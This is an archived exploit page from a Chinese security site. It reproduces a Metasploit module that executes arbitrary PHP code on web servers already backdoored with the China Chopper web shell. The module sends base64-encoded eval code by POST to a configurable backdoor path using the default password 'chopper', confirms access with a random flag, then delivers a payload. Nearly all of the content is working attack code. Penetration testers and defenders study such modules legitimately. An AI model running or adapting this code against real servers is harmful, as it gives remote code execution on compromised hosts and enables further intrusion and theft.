首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
China Chopper Caidao PHP Backdoor Code Execution
来源:https://www.fireeye.com 作者:Nixawk 发布时间:2015-11-06  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'              => 'China Chopper Caidao PHP Backdoor Code Execution',
      'Description'       => %q{
        This module takes advantage of the China Chopper Webshell that is
        commonly used by Chinese hackers.
      },
      'License'           => MSF_LICENSE,
      'Author'            => ['Nixawk'],
      'References'        =>
        [
          ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],
          ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html']
        ],
      'Platform'          => ['php'],
      'Arch'              => ARCH_PHP,
      'Targets'           =>
        [
          ['Automatic', {}]
        ],
      'Privileged'        => false,
      'DisclosureDate'    => 'Oct 27 2015',
      'DefaultTarget'     => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']),
        OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper'])
      ], self.class)
  end

  def http_send_command(code)
    code = "eval(base64_decode(\"#{Rex::Text.encode_base64(code)}\"));"
    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path),
      'vars_post' => {
        "#{datastore['PASSWORD']}" => code
      }
    })
  end

  def check
    flag = Rex::Text.rand_text_alpha(16)
    res = http_send_command("printf(\"#{flag}\");")
    if res && res.body =~ /#{flag}/m
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status("#{peer} - Sending exploit...")
    http_send_command(payload.raw)
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Symantec pcAnywhere 12.5.0 Win
·QNap QVR Client 5.1.0.11290 -
·OpenSSL Alternative Chains Cer
·WordPress Ajax Load More PHP U
·Java Secure Socket Extension (
·POP Peeper 4.0.1 - SEH Over-Wr
·Python 3.5 scan_eol() Buffer O
·Huawei HG630a and HG630a-50 -
·Python 3.5 time_strftime() Buf
·Jenkins 1.633 - Unauthenticate
·Redis Remote Command Execution
·IBM Installation Manager 1.8.1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved